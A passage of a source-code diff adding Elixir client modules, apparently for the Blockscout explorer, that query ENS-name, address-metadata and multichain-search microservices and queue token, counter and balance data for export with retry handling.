"#{addresses_url()}/#{address}" + end + + defp domain_lookup_url do + "#{domains_url()}%3Alookup" + end + + defp addresses_url do + "#{base_url()}/addresses" + end + + defp domains_url do + "#{base_url()}/domains" + end + + defp base_url do + chain_id = Application.get_env(:block_scout_web, :chain_id) + "#{Microservice.base_url(__MODULE__)}/api/v1/#{chain_id}" + end + + defp parse_lookup_response( + {:ok, + %{ + "items" => + [ + %{ + "name" => name, + "expiry_date" => expiry_date, + "resolved_address" => %{"hash" => address_hash_string}, + "protocol" => protocol + } + | _other + ] = items + }} + ) do + {:ok, hash} = Chain.string_to_address_hash(address_hash_string) + + %{ + name: name, + expiry_date: expiry_date, + names_count: Enum.count(items), + address_hash: Address.checksum(hash), + protocol: protocol + } + end + + defp parse_lookup_response(_), do: nil + + defp parse_get_address_response( + {:ok, + %{ + "domain" => %{ + "name" => name, + "expiry_date" => expiry_date, + "resolved_address" => %{"hash" => address_hash_string} + }, + "resolved_domains_count" => resolved_domains_count + }} + ) do + {:ok, hash} = Chain.string_to_address_hash(address_hash_string) + + %{ + name: name, + expiry_date: expiry_date, + names_count: resolved_domains_count, + address_hash: Address.checksum(hash) + } + end + + defp parse_get_address_response(_), do: nil + + @doc """ + Preloads ENS data to the list if BENS is enabled + """ + @spec maybe_preload_ens(MetadataPreloader.supported_input()) :: MetadataPreloader.supported_input() + def maybe_preload_ens(argument) do + maybe_preload_meta(argument, __MODULE__, &MetadataPreloader.preload_ens_to_list/1) + end + + @doc """ + Preloads ENS data to the list of the search results if BENS is enabled + """ + @spec maybe_preload_ens_info_to_search_results(list()) :: list() + def maybe_preload_ens_info_to_search_results(list) do + maybe_preload_meta(list, __MODULE__, &MetadataPreloader.preload_ens_info_to_search_results/1) + end + + @doc """ + Preloads ENS data to the transaction results if BENS is enabled + """ + @spec maybe_preload_ens_to_transaction(Transaction.t()) :: Transaction.t() + def maybe_preload_ens_to_transaction(transaction) do + maybe_preload_meta(transaction, __MODULE__, &MetadataPreloader.preload_ens_to_transaction/1) + end + + @doc """ + Preloads ENS data to the address results if BENS is enabled + """ + @spec maybe_preload_ens_to_address(Address.t()) :: Address.t() + def maybe_preload_ens_to_address(address) do + maybe_preload_meta(address, __MODULE__, &MetadataPreloader.preload_ens_to_address/1) + end +end diff --git a/apps/explorer/lib/explorer/microservice_interfaces/metadata.ex b/apps/explorer/lib/explorer/microservice_interfaces/metadata.ex new file mode 100644 index 000000000000..34ac1ea20873 --- /dev/null +++ b/apps/explorer/lib/explorer/microservice_interfaces/metadata.ex @@ -0,0 +1,239 @@ +defmodule Explorer.MicroserviceInterfaces.Metadata do + @moduledoc """ + Module to interact with Metadata microservice + """ + + alias Explorer.{Chain, HttpClient} + alias Explorer.Chain.{Address.MetadataPreloader, Transaction} + alias Explorer.Utility.Microservice + + import Explorer.MicroserviceInterfaces.BENS, only: [maybe_preload_ens: 1] + import Explorer.Chain.Address.MetadataPreloader, only: [maybe_preload_meta: 3] + import Explorer.Chain.SmartContract.Proxy.Models.Implementation, only: [proxy_implementations_association: 0] + + require Logger + @request_timeout :timer.seconds(5) + + @tags_per_address_limit 5 + @page_size 50 + @request_error_msg "Error while sending request to Metadata microservice" + @service_disabled "Service is disabled" + + @doc """ + Retrieves tags for a list of addresses. + + ## Parameters + - `addresses`: A list of addresses for which tags need to be fetched. + + ## Returns + - A map with metadata tags from microservice. Returns `:ignore` when the input list is empty. + + ## Examples + + iex> get_addresses_tags([]) + :ignore + + """ + @spec get_addresses_tags([String.t()]) :: + {:error, :disabled | <<_::416>> | Jason.DecodeError.t()} | {:ok, any()} | :ignore + def get_addresses_tags([]), do: :ignore + + def get_addresses_tags(addresses) do + with :ok <- Microservice.check_enabled(__MODULE__) do + params = %{ + addresses: Enum.join(addresses, ","), + tags_limit: @tags_per_address_limit, + chain_id: Application.get_env(:block_scout_web, :chain_id) + } + + http_get_request(addresses_metadata_url(), params) + end + end + + @doc """ + Get addresses list from Metadata microservice. Then preloads addresses from local DB. + """ + @spec get_addresses(map()) :: {:error | integer(), any()} + def get_addresses(params) do + case Microservice.check_enabled(__MODULE__) do + :ok -> + params = + params + |> Map.put("page_size", @page_size) + |> Map.put("chain_id", Application.get_env(:block_scout_web, :chain_id)) + + http_get_request_for_proxy_method(addresses_url(), params, &prepare_addresses_response/1) + + _ -> + {501, %{error: @service_disabled}} + end + end + + @doc """ + Searches for metadata tags by name, handling pagination via `next_page_params`. + + ## Parameters + - `name`: The name of the tag to search for. + - `next_page_params`: A map containing pagination parameters from the previous request. + + ## Returns + - `{:ok, %{items: list(), next_page_params: map() | nil}}` on success. + - `{:error, String.t()}` on error. + - `:disabled` if the microservice is disabled. + """ + @spec search_tags_by_name(String.t(), map() | nil) :: {:ok, map()} | :disabled | {:error, String.t()} + def search_tags_by_name(name, next_page_params) do + case Microservice.check_enabled(__MODULE__) do + :ok -> + params = + Map.merge(next_page_params || %{}, %{ + name: name, + chain_id: Application.get_env(:block_scout_web, :chain_id), + tag_types: "protocol,name" + }) + + http_get_request(tags_search_url(), params, &prepare_search_results/1) + + _ -> + :disabled + end + end + + defp http_get_request(url, params, parsing_function \\ &decode_meta/1) do + headers = [] + + case HttpClient.get(url, headers, params: params, recv_timeout: @request_timeout) do + {:ok, %{body: body, status_code: 200}} -> + body |> Jason.decode() |> parsing_function.() + + {_, error} -> + Logger.error(fn -> + [ + "Error while sending request to Metadata microservice url: #{url}, params: #{inspect(params)}: ", + inspect(error) + ] + end) + + {:error, @request_error_msg} + end + end + + defp http_get_request_for_proxy_method(url, params, parsing_function) do + case HttpClient.get(url, [], params: params, recv_timeout: config()[:proxy_requests_timeout]) do + {:ok, %{body: body, status_code: 200}} -> + {200, body |> Jason.decode() |> parsing_function.()} + + {_, %{body: body, status_code: status_code} = error} -> + old_truncate = Application.get_env(:logger, :truncate) + Logger.configure(truncate: :infinity) + + Logger.error(fn -> + [ + "Error while sending request to Metadata microservice url: #{url}: ", + inspect(error, limit: :infinity, printable_limit: :infinity) + ] + end) + + Logger.configure(truncate: old_truncate) + {:ok, response_json} = Jason.decode(body) + {status_code, response_json} + + {:error, reason} -> + {500, %{error: reason}} + end + end + + defp addresses_metadata_url do + "#{base_url()}/metadata" + end + + defp addresses_url do + "#{base_url()}/addresses" + end + + defp tags_search_url do + "#{base_url()}/tags%3Asearch" + end + + defp base_url do + "#{Microservice.base_url(__MODULE__)}/api/v1" + end + + defp config do + Application.get_env(:explorer, __MODULE__) + end + + @spec enabled?() :: boolean() + def enabled?, do: Microservice.check_enabled(__MODULE__) == :ok + + @doc """ + Preloads metadata to supported entities if Metadata microservice is enabled + """ + @spec maybe_preload_metadata(MetadataPreloader.supported_input()) :: MetadataPreloader.supported_input() + def maybe_preload_metadata(argument) do + maybe_preload_meta(argument, __MODULE__, &MetadataPreloader.preload_metadata_to_list/1) + end + + @doc """ + Preloads metadata to transaction if Metadata microservice is enabled + """ + @spec maybe_preload_metadata_to_transaction(Transaction.t()) :: Transaction.t() + def maybe_preload_metadata_to_transaction(transaction) do + maybe_preload_meta(transaction, __MODULE__, &MetadataPreloader.preload_metadata_to_transaction/1) + end + + defp decode_meta({:ok, %{"addresses" => addresses} = result}) do + prepared_address = + Enum.reduce(addresses, %{}, fn {address, meta}, acc -> + prepared_meta = Map.put(meta, "tags", meta["tags"] |> Enum.map(&decode_meta_in_tag/1)) + Map.put(acc, address, prepared_meta) + end) + + {:ok, Map.put(result, "addresses", prepared_address)} + end + + defp decode_meta(other), do: other + + defp decode_meta_in_tag(%{"meta" => meta} = tag) do + Map.put(tag, "meta", Jason.decode!(meta)) + end + + defp prepare_addresses_response({:ok, %{"items" => addresses} = response}) do + {:ok, + Map.put( + response, + "items", + addresses + |> Chain.hashes_to_addresses( + necessity_by_association: %{ + :names => :optional, + :smart_contract => :optional, + proxy_implementations_association() => :optional + } + ) + |> maybe_preload_ens() + |> maybe_preload_metadata() + )} + end + + defp prepare_addresses_response(_), do: :error + + defp prepare_search_results({:ok, %{"items" => items, "next_page_params" => next_page_params}}) do + items = + Enum.reduce(items, [], fn %{"tag" => tag, "addresses" => addresses}, tags_list -> + prepared_tag = decode_meta_in_tag(tag) + + tags_list ++ + (addresses + |> Enum.with_index(fn address, index -> + address_hash = Chain.string_to_address_hash_or_nil(address) + address_hash && %{metadata: prepared_tag, hash: address_hash, addresses_index: index} + end) + |> Enum.reject(&is_nil/1)) + end) + + {:ok, %{items: items, next_page_params: next_page_params}} + end + + defp prepare_search_results(_), do: :error +end diff --git a/apps/explorer/lib/explorer/microservice_interfaces/multichain_search.ex b/apps/explorer/lib/explorer/microservice_interfaces/multichain_search.ex new file mode 100644 index 000000000000..6d2e80422739 --- /dev/null +++ b/apps/explorer/lib/explorer/microservice_interfaces/multichain_search.ex @@ -0,0 +1,1306 @@ +defmodule Explorer.MicroserviceInterfaces.MultichainSearch do + @moduledoc """ + Module to interact with Multichain search microservice + """ + alias Ecto.Association.NotLoaded + alias Explorer.Chain + alias Explorer.Chain.Cache.ChainId + alias Explorer.Chain.{Block, Hash, Token, Transaction, Wei} + alias Explorer.Chain.Block.Range + + alias Explorer.Chain.MultichainSearchDb.{ + BalancesExportQueue, + CountersExportQueue, + MainExportQueue, + TokenInfoExportQueue + } + + alias Explorer.{Helper, HttpClient, Repo} + alias Explorer.Utility.Microservice + + require Decimal + require Logger + + @max_concurrency 5 + @post_timeout :timer.minutes(5) + @unspecified "UNSPECIFIED" + + @doc """ + Processes a batch import of data by splitting the input parameters into chunks and sending each chunk as an HTTP POST request to a configured microservice endpoint. + + If the microservice is enabled, the function: + - Splits the input `params` into manageable chunks. + - Sends each chunk concurrently using `Task.async_stream/3` with a maximum concurrency and timeout. + - Collects the results, merging any errors and accumulating data that needs to be retried. + - Returns `{:ok, {:chunks_processed, params_chunks}}` if all chunks are processed successfully. + - Returns `{:error, data_to_retry}` if any chunk fails, where `data_to_retry` contains the addresses, block ranges, and hashes that need to be retried. + + If the microservice is disabled, returns `{:ok, :service_disabled}`. + + ## Parameters + + - `params` (`map()`): The parameters to be imported, which will be split into chunks for processing. + + ## Returns + + - `{:ok, any()}`: If all chunks are processed successfully or the service is disabled. + - `{:error, map()}`: If one or more chunks fail, with details about the data that needs to be retried. + """ + @spec batch_import(map()) :: {:error, map()} | {:ok, any()} + def batch_import(params) do + # todo: rename this function to `batch_export` (and all related places in code & comments) + if enabled?() do + params_chunks = extract_batch_import_params_into_chunks(params) + url = batch_import_url() + + params_chunks + |> Task.async_stream( + fn export_body -> http_post_request(url, export_body) end, + max_concurrency: @max_concurrency, + timeout: @post_timeout, + zip_input_on_exit: true + ) + |> Enum.reduce({:ok, {:chunks_processed, params_chunks}}, fn + {:ok, {:ok, _result}}, acc -> + acc + + {:ok, {:error, error}}, acc -> + on_error(error) + + case acc do + {:ok, {:chunks_processed, _}} -> + {:error, + %{ + addresses: error.data_to_retry.addresses, + block_ranges: error.data_to_retry.block_ranges, + hashes: error.data_to_retry.hashes, + address_coin_balances: error.data_to_retry.address_coin_balances, + address_token_balances: error.data_to_retry.address_token_balances + }} + + {:error, data_to_retry} -> + merged_data_to_retry = %{ + addresses: error.data_to_retry.addresses ++ data_to_retry.addresses, + block_ranges: error.data_to_retry.block_ranges ++ data_to_retry.block_ranges, + hashes: error.data_to_retry.hashes ++ data_to_retry.hashes, + address_coin_balances: error.data_to_retry.address_coin_balances ++ data_to_retry.address_coin_balances, + address_token_balances: + error.data_to_retry.address_token_balances ++ data_to_retry.address_token_balances + } + + {:error, merged_data_to_retry} + end + + {:exit, {export_body, reason}}, acc -> + on_error(%{ + url: url, + data_to_retry: export_body, + reason: reason + }) + + # credo:disable-for-next-line Credo.Check.Refactor.Nesting + case acc do + {:ok, {:chunks_processed, _}} -> + {:error, export_body} + + {:error, error} -> + merged_data_to_retry = %{ + addresses: error.data_to_retry.addresses ++ export_body.addresses, + block_ranges: error.data_to_retry.block_ranges ++ export_body.block_ranges, + hashes: error.data_to_retry.hashes ++ export_body.hashes, + address_coin_balances: error.data_to_retry.address_coin_balances ++ export_body.address_coin_balances, + address_token_balances: error.data_to_retry.address_token_balances ++ export_body.address_token_balances + } + + {:error, merged_data_to_retry} + end + end) + else + {:ok, :service_disabled} + end + end + + @doc """ + Processes a batch export of token info by splitting the items from db queue into chunks and sending each chunk as an HTTP POST request to a configured microservice endpoint. + + If the microservice is enabled, the function: + - Splits the input `items_from_db_queue` into manageable chunks. + - Sends each chunk concurrently using `Task.async_stream/5` with a maximum concurrency and timeout. + - Collects the results, merging any errors and accumulating data that needs to be retried. + - Returns `{:ok, {:chunks_processed, chunks}}` if all chunks are processed successfully. + - Returns `{:error, data_to_retry}` if any chunk fails, where `data_to_retry` contains tokens that need to be retried. + + If the microservice is disabled, returns `{:ok, :service_disabled}`. + + ## Parameters + - `items_from_db_queue`: The queue items to be exported, which will be split into chunks for processing. + + ## Returns + - `{:ok, any()}`: If all chunks are processed successfully or the service is disabled. + - `{:error, map()}`: If one or more chunks fail, with details about the data that needs to be retried. + """ + @spec batch_export_token_info([ + %{ + :address_hash => binary(), + :data_type => :metadata | :total_supply | :counters | :market_data, + :data => map() + } + ]) :: {:ok, any()} | {:error, map()} + def batch_export_token_info(items_from_db_queue) do + if enabled?() do + url = batch_import_url() + api_key = api_key() + chain_id = to_string(ChainId.get_id()) + + chunks = + items_from_db_queue + |> Enum.chunk_every(token_info_chunk_size()) + |> Enum.map(fn chunk_items -> + %{ + api_key: api_key, + chain_id: chain_id, + tokens: Enum.map(chunk_items, &token_info_queue_item_to_http_item(&1)) + } + end) + + chunks + |> Task.async_stream( + fn export_body -> http_post_request(url, export_body) end, + max_concurrency: @max_concurrency, + timeout: @post_timeout, + zip_input_on_exit: true + ) + |> Enum.reduce({:ok, {:chunks_processed, chunks}}, fn + {:ok, {:ok, _result}}, acc -> + acc + + {:ok, {:error, error}}, acc -> + token_info_on_error(error) + + case acc do + {:ok, {:chunks_processed, _}} -> + {:error, %{tokens: error.data_to_retry.tokens}} + + {:error, data_to_retry} -> + {:error, %{tokens: data_to_retry.tokens ++ error.data_to_retry.tokens}} + end + + {:exit, {export_body, reason}}, acc -> + token_info_on_error(%{ + url: url, + data_to_retry: export_body, + reason: reason + }) + + # credo:disable-for-next-line Credo.Check.Refactor.Nesting + case acc do + {:ok, {:chunks_processed, _}} -> + {:error, %{tokens: export_body.tokens}} + + {:error, data_to_retry} -> + {:error, %{tokens: data_to_retry.tokens ++ export_body.tokens}} + end + end) + else + {:ok, :service_disabled} + end + end + + @doc """ + Processes a batch export of counters by splitting the items from db queue into chunks + and sending each chunk as an HTTP POST request to a configured microservice endpoint. + + If the microservice is enabled, the function: + - Splits the input `items_from_db_queue` into manageable chunks. + - Sends each chunk concurrently using `Task.async_stream/5` with a maximum concurrency and timeout. + - Collects the results, merging any errors and accumulating data that needs to be retried. + - Returns `{:ok, {:chunks_processed, chunks}}` if all chunks are processed successfully. + - Returns `{:error, data_to_retry}` if any chunk fails, where `data_to_retry` contains counters that need to be retried. + + If the microservice is disabled, returns `{:ok, :service_disabled}`. + + ## Parameters + - `items_from_db_queue`: The queue items to be exported, which will be split into chunks for processing. + + ## Returns + - `{:ok, any()}`: If all chunks are processed successfully or the service is disabled. + - `{:error, map()}`: If one or more chunks fail, with details about the data that needs to be retried. + """ + @spec batch_export_counters([ + %{ + :timestamp => DateTime.t(), + :counter_type => :global, + :data => map() + } + ]) :: {:ok, any()} | {:error, map()} + def batch_export_counters(items_from_db_queue) do + if enabled?() do + url = batch_import_url() + api_key = api_key() + chain_id = to_string(ChainId.get_id()) + + chunks = + items_from_db_queue + |> Enum.chunk_every(counters_chunk_size()) + |> Enum.map(fn chunk_items -> + %{ + api_key: api_key, + chain_id: chain_id, + counters: Enum.map(chunk_items, &counter_queue_item_to_http_item(&1)) + } + end) + + chunks + |> Task.async_stream( + fn export_body -> http_post_request(url, export_body) end, + max_concurrency: @max_concurrency, + timeout: @post_timeout, + zip_input_on_exit: true + ) + |> Enum.reduce({:ok, {:chunks_processed, chunks}}, fn + {:ok, {:ok, _result}}, acc -> + acc + + {:ok, {:error, error}}, acc -> + counter_on_error(error) + + case acc do + {:ok, {:chunks_processed, _}} -> + {:error, %{counters: error.data_to_retry.counters}} + + {:error, data_to_retry} -> + {:error, %{counters: data_to_retry.counters ++ error.data_to_retry.counters}} + end + + {:exit, {export_body, reason}}, acc -> + counter_on_error(%{ + url: url, + data_to_retry: export_body, + reason: reason + }) + + # credo:disable-for-next-line Credo.Check.Refactor.Nesting + case acc do + {:ok, {:chunks_processed, _}} -> + {:error, %{counters: export_body.counters}} + + {:error, data_to_retry} -> + {:error, %{counters: data_to_retry.counters ++ export_body.counters}} + end + end) + else + {:ok, :service_disabled} + end + end + + defp log_error(%{ + url: url, + data_to_retry: data_to_retry, + reason: reason + }) do + old_truncate = Application.get_env(:logger, :truncate) + Logger.configure(truncate: :infinity) + + Logger.error(fn -> + [ + "Error while sending request to microservice url: #{url}, ", + "error_reason: #{inspect(reason, limit: :infinity, printable_limit: :infinity)}, ", + "request_body: #{inspect(data_to_retry |> Map.drop([:api_key]), limit: :infinity, printable_limit: :infinity)}" + ] + end) + + Logger.configure(truncate: old_truncate) + end + + defp log_error(%{ + url: url, + data_to_retry: data_to_retry, + status_code: status_code, + response_body: response_body + }) do + old_truncate = Application.get_env(:logger, :truncate) + Logger.configure(truncate: :infinity) + + Logger.error(fn -> + [ + "Error while sending request to microservice url: #{url}, ", + "status_code: #{inspect(status_code)}, ", + "response_body: #{inspect(response_body, limit: :infinity, printable_limit: :infinity)}, ", + "request_body: #{inspect(data_to_retry |> Map.drop([:api_key]), limit: :infinity, printable_limit: :infinity)}" + ] + end) + + Logger.configure(truncate: old_truncate) + end + + @spec on_error(map()) :: {non_neg_integer(), nil | [term()]} | :ok + defp on_error( + %{ + data_to_retry: data_to_retry + } = error + ) do + log_error(error) + + {prepared_main_data, prepared_balances_data} = prepare_export_data_for_queue(data_to_retry) + + Repo.insert_all( + MainExportQueue, + Helper.add_timestamps(prepared_main_data), + on_conflict: MainExportQueue.default_on_conflict(), + conflict_target: [:hash, :hash_type] + ) + + Repo.insert_all( + BalancesExportQueue, + Helper.add_timestamps(prepared_balances_data), + on_conflict: BalancesExportQueue.default_on_conflict(), + conflict_target: + {:unsafe_fragment, ~s<(address_hash, token_contract_address_hash_or_native, COALESCE(token_id, -1))>} + ) + end + + defp on_error(_), do: :ignore + + # Logs error when trying to send token info from the queue to Multichain service + # and increments `retries_number` counter of the corresponding queue items. + # + # ## Parameters + # - `error`: A map with the queue items. + # + # ## Returns + # - Nothing. + @spec token_info_on_error(%{ + :data_to_retry => %{:tokens => [map()], optional(any()) => any()}, + optional(any()) => any() + }) :: any() + defp token_info_on_error(%{data_to_retry: data_to_retry} = error) do + log_error(error) + + prepared_token_info_data = + data_to_retry.tokens + |> Enum.map(&token_info_http_item_to_queue_item(&1)) + |> Helper.add_timestamps() + + Repo.insert_all( + TokenInfoExportQueue, + prepared_token_info_data, + on_conflict: TokenInfoExportQueue.increase_retries_on_conflict(), + conflict_target: [:address_hash, :data_type] + ) + end + + defp token_info_on_error(_), do: :ignore + + # Logs error when trying to send counter from the queue to Multichain service + # and increments `retries_number` counter of the corresponding queue items. + # + # ## Parameters + # - `error`: A map with the queue items. + # + # ## Returns + # - Nothing. + @spec counter_on_error(%{ + :data_to_retry => %{:counters => [map()], optional(any()) => any()}, + optional(any()) => any() + }) :: any() + defp counter_on_error(%{data_to_retry: data_to_retry} = error) do + log_error(error) + + prepared_counters_data = + data_to_retry.counters + |> Enum.map(&counter_http_item_to_queue_item(&1)) + |> Helper.add_timestamps() + + Repo.insert_all( + CountersExportQueue, + prepared_counters_data, + on_conflict: CountersExportQueue.increase_retries_on_conflict(), + conflict_target: [:timestamp, :counter_type] + ) + end + + defp counter_on_error(_), do: :ignore + + @doc """ + Converts database queue item with token info to the item ready to send to Multichain service via HTTP. + + ## Parameters + - `item_from_db_queue`: The queue item map from database. + + ## Returns + - A map ready to send to Multichain service via HTTP. + """ + @spec token_info_queue_item_to_http_item(%{ + :address_hash => binary(), + :data_type => :metadata | :total_supply | :counters | :market_data, + :data => map() + }) :: + %{:address_hash => String.t(), :metadata => map()} + | %{:address_hash => String.t(), :counters => map()} + | %{:address_hash => String.t(), :price_data => map()} + def token_info_queue_item_to_http_item(item_from_db_queue) do + token = %{address_hash: "0x" <> Base.encode16(item_from_db_queue.address_hash, case: :lower)} + + case item_from_db_queue.data_type do + :metadata -> Map.put(token, :metadata, item_from_db_queue.data) + :total_supply -> Map.put(token, :metadata, item_from_db_queue.data) + :counters -> Map.put(token, :counters, item_from_db_queue.data) + :market_data -> Map.put(token, :price_data, item_from_db_queue.data) + end + end + + @doc """ + Converts queue item (containing token info) ready to send to Multichain service via HTTP + to the queue item ready to be written to the database. + + ## Parameters + - `http_item`: The queue item for HTTP. + + ## Returns + - A map ready to write to the database. + """ + @spec token_info_http_item_to_queue_item( + %{:address_hash => String.t(), :metadata => map()} + | %{:address_hash => String.t(), :counters => map()} + | %{:address_hash => String.t(), :price_data => map()} + ) :: %{ + :address_hash => binary(), + :data_type => :metadata | :total_supply | :counters | :market_data, + :data => map() + } + def token_info_http_item_to_queue_item(%{address_hash: "0x" <> address_string} = http_item) do + {:ok, address_hash} = Base.decode16(address_string, case: :mixed) + + metadata = Map.get(http_item, :metadata) + + {data_type, data} = + cond do + !is_nil(metadata) and (!is_nil(Map.get(metadata, :token_type)) or !is_nil(Map.get(metadata, "token_type"))) -> + {:metadata, http_item[:metadata]} + + !is_nil(metadata) -> + {:total_supply, http_item[:metadata]} + + !is_nil(Map.get(http_item, :counters)) -> + {:counters, http_item[:counters]} + + !is_nil(Map.get(http_item, :price_data)) -> + {:market_data, http_item[:price_data]} + end + + %{ + address_hash: address_hash, + data_type: data_type, + data: data + } + end + + @doc """ + Converts database queue item with counters to the item ready to send to Multichain service via HTTP. + + ## Parameters + - `item_from_db_queue`: The queue item map from database. + + ## Returns + - A map ready to send to Multichain service via HTTP. + """ + @spec counter_queue_item_to_http_item(%{ + :timestamp => DateTime.t(), + :counter_type => :global, + :data => map() + }) :: %{:timestamp => String.t(), :global_counters => map()} + def counter_queue_item_to_http_item(item_from_db_queue) do + counter = %{timestamp: to_string(DateTime.to_unix(item_from_db_queue.timestamp))} + + case item_from_db_queue.counter_type do + :global -> Map.put(counter, :global_counters, item_from_db_queue.data) + end + end + + @doc """ + Converts queue item (containing counter data) ready to send to Multichain service via HTTP + to the queue item ready to be written to the database. + + ## Parameters + - `http_item`: The queue item for HTTP. + + ## Returns + - A map ready to write to the database. + """ + @spec counter_http_item_to_queue_item(%{:timestamp => String.t(), :global_counters => map()}) :: %{ + :timestamp => DateTime.t(), + :counter_type => :global, + :data => map() + } + def counter_http_item_to_queue_item(%{timestamp: timestamp_string} = http_item) do + timestamp_integer = String.to_integer(timestamp_string) + + %{ + timestamp: DateTime.from_unix!(timestamp_integer * 1_000_000, :microsecond), + counter_type: :global, + data: http_item[:global_counters] + } + end + + @doc """ + Sends provided blockchain data to the appropriate export queues for further processing. + + Accepts a map containing lists of addresses, blocks, transactions, and address current token balances. + If all lists are empty, returns `:ignore`. Otherwise, if the export functionality is enabled, + the data is split into chunks, prepared, and inserted into the `MainExportQueue` and `BalancesExportQueue` tables. + If the export functionality is disabled, returns `:ignore`. + + ## Parameters + + - `data`: A map with the following keys: + - `:addresses` - List of address data. + - `:blocks` - List of block data. + - `:transactions` - List of transaction data. + - `:address_current_token_balances` - List of address token balance data. + + ## Returns + + - `:ok` if the data was successfully sent to the queues. + - `:ignore` if the data is empty or the export functionality is disabled. + """ + @spec send_data_to_queue(map()) :: :ignore | :ok + def send_data_to_queue(%{addresses: [], blocks: [], transactions: [], address_current_token_balances: []}), + do: :ignore + + def send_data_to_queue(data) do + if enabled?() do + data + |> extract_batch_import_params_into_chunks() + |> Enum.each(fn data_chunk -> + {prepared_main_data, prepared_balances_data} = prepare_export_data_for_queue(data_chunk) + + Repo.insert_all(MainExportQueue, Helper.add_timestamps(prepared_main_data), on_conflict: :nothing) + + Repo.insert_all(BalancesExportQueue, Helper.add_timestamps(prepared_balances_data), + on_conflict: {:replace, [:value, :updated_at]}, + conflict_target: + {:unsafe_fragment, + ~s<(address_hash, token_contract_address_hash_or_native, COALESCE(token_id, -1::integer::numeric))>} + ) + end) + + :ok + else + :ignore + end + end + + @doc """ + Prepares token metadata for writing to database queue and subsequent sending to Multichain service. + + ## Parameters + - `token`: An instance of `Token.t()` containing token type and probably `icon_url`. + - `metadata`: A map with token metadata. + + ## Returns + - A map containing token type and its metadata in the format approved on Multichain service. + """ + @spec prepare_token_metadata_for_queue(Token.t(), %{ + :token_type => String.t(), + optional(:name) => String.t(), + optional(:symbol) => String.t(), + optional(:decimals) => non_neg_integer(), + optional(:total_supply) => non_neg_integer(), + optional(any()) => any() + }) :: %{ + optional(:token_type) => String.t(), + optional(:name) => String.t(), + optional(:symbol) => String.t(), + optional(:decimals) => String.t(), + optional(:total_supply) => String.t(), + optional(:icon_url) => String.t() + } + def prepare_token_metadata_for_queue(%Token{} = token, metadata) do + if enabled?() do + %{token_type: token.type} + |> token_optional_field(metadata, :name) + |> token_optional_field(metadata, :symbol) + |> token_optional_field(token, :icon_url) + |> token_optional_field(metadata, :decimals) + |> token_optional_field(metadata, :total_supply, true) + else + %{} + end + end + + @doc """ + Prepares token total supply for writing to database queue and subsequent sending to Multichain service. + + ## Parameters + - `total_supply`: The total supply value. Can be `nil`. + + ## Returns + - A map containing total supply in the format approved on Multichain service. + - `nil` if the `total_supply` parameter is `nil`. + """ + @spec prepare_token_total_supply_for_queue(non_neg_integer() | nil) :: %{:total_supply => String.t()} | nil + def prepare_token_total_supply_for_queue(nil), do: nil + + def prepare_token_total_supply_for_queue(total_supply) do + if enabled?() do + %{total_supply: to_string(total_supply)} + end + end + + @doc """ + Prepares token market data (such as price and market cap) for writing to database queue + and subsequent sending to Multichain service. + + ## Parameters + - `token`: A token map containing the market data. + + ## Returns + - A map containing the market data in the format approved on Multichain service. + """ + @spec prepare_token_market_data_for_queue(%{ + optional(:fiat_value) => Decimal.t(), + optional(:circulating_market_cap) => Decimal.t(), + optional(any()) => any() + }) :: map() + def prepare_token_market_data_for_queue(token) do + if enabled?() do + %{} + |> token_optional_field(token, :fiat_value) + |> token_optional_field(token, :circulating_market_cap) + |> Enum.map(fn {key, value} -> + {key, Decimal.to_string(value, :normal)} + end) + |> Enum.into(%{}) + else + %{} + end + end + + @doc """ + Prepares token counters for writing to database queue and subsequent sending to Multichain service. + + ## Parameters + - `transfer_count`: The number of the token transfers count. + - `holder_count`: The number of the token holders count. + + ## Returns + - A map containing the counters in the format approved on Multichain service. + """ + @spec prepare_token_counters_for_queue(non_neg_integer(), non_neg_integer()) :: %{ + :transfers_count => String.t(), + :holders_count => String.t() + } + def prepare_token_counters_for_queue(transfers_count, holders_count) do + if enabled?() do + %{transfers_count: to_string(transfers_count), holders_count: to_string(holders_count)} + else + %{} + end + end + + defp token_optional_field(data, metadata, key, convert_to_string \\ false) do + case Map.get(metadata, key) do + nil -> + data + + value -> + if convert_to_string do + Map.put(data, key, to_string(value)) + else + Map.put(data, key, value) + end + end + end + + @doc """ + Writes token info to database queue to send that to Multichain service later. + + ## Parameters + - `entries`: A map of token entries with data prepared with one of the `prepare_token_*` functions. + - `entries_type`: A type of the token entries. + + ## Returns + # - `:ok` if the data is accepted for insertion. + # - `:ignore` if the Multichain service is not used. + """ + @spec send_token_info_to_queue(%{binary() => map()}, :metadata | :total_supply | :counters | :market_data) :: + :ok | :ignore + def send_token_info_to_queue(entries, entries_type) do + if enabled?() do + entries + |> extract_token_info_entries_into_chunks(entries_type) + |> Enum.each(fn chunk -> + Repo.insert_all( + TokenInfoExportQueue, + Helper.add_timestamps(chunk), + on_conflict: {:replace, [:data, :updated_at]}, + conflict_target: [:address_hash, :data_type] + ) + end) + + :ok + else + :ignore + end + end + + @spec extract_token_info_entries_into_chunks( + %{binary() => map()}, + :metadata | :total_supply | :counters | :market_data + ) :: list() + defp extract_token_info_entries_into_chunks(entries, entries_type) do + entries + |> Enum.map(fn {address_hash, data} -> + %{ + address_hash: address_hash, + data_type: entries_type, + data: data + } + end) + |> Enum.chunk_every(token_info_chunk_size()) + end + + @doc """ + Writes counters to database queue to send those to Multichain service later. + + ## Parameters + - `entries`: A map of counter entries. + - `entries_type`: A type of the counter entries. + + ## Returns + # - `:ok` if the data is accepted for insertion. + # - `:ignore` if the Multichain service is not used. + """ + @spec send_counters_to_queue(%{DateTime.t() => map()}, :global) :: :ok | :ignore + def send_counters_to_queue(entries, entries_type) do + if enabled?() do + entries + |> extract_counter_entries_into_chunks(entries_type) + |> Enum.each(fn chunk -> + Repo.insert_all( + CountersExportQueue, + Helper.add_timestamps(chunk), + on_conflict: {:replace, [:data, :updated_at]}, + conflict_target: [:timestamp, :counter_type] + ) + end) + + :ok + else + :ignore + end + end + + # Takes a map of counter entries and makes a list of the entries divided into chunks. + # The chunk max size is defined by `MICROSERVICE_MULTICHAIN_SEARCH_COUNTERS_CHUNK_SIZE` env variable. + # + # ## Parameters + # - `entries`: A map of the counter entries. + # - `entries_type`: A type of the counter entries. + # + # ## Returns + # - A list of chunks with the entries. + @spec extract_counter_entries_into_chunks(%{DateTime.t() => map()}, :global) :: list() + defp extract_counter_entries_into_chunks(entries, entries_type) do + entries + |> Enum.map(fn {timestamp, data} -> + %{ + timestamp: timestamp, + counter_type: entries_type, + data: data + } + end) + |> Enum.chunk_every(counters_chunk_size()) + end + + # sobelow_skip ["DOS.StringToAtom"] + defp prepare_export_data_for_queue(%{ + addresses: addresses, + hashes: hashes, + block_ranges: block_ranges, + 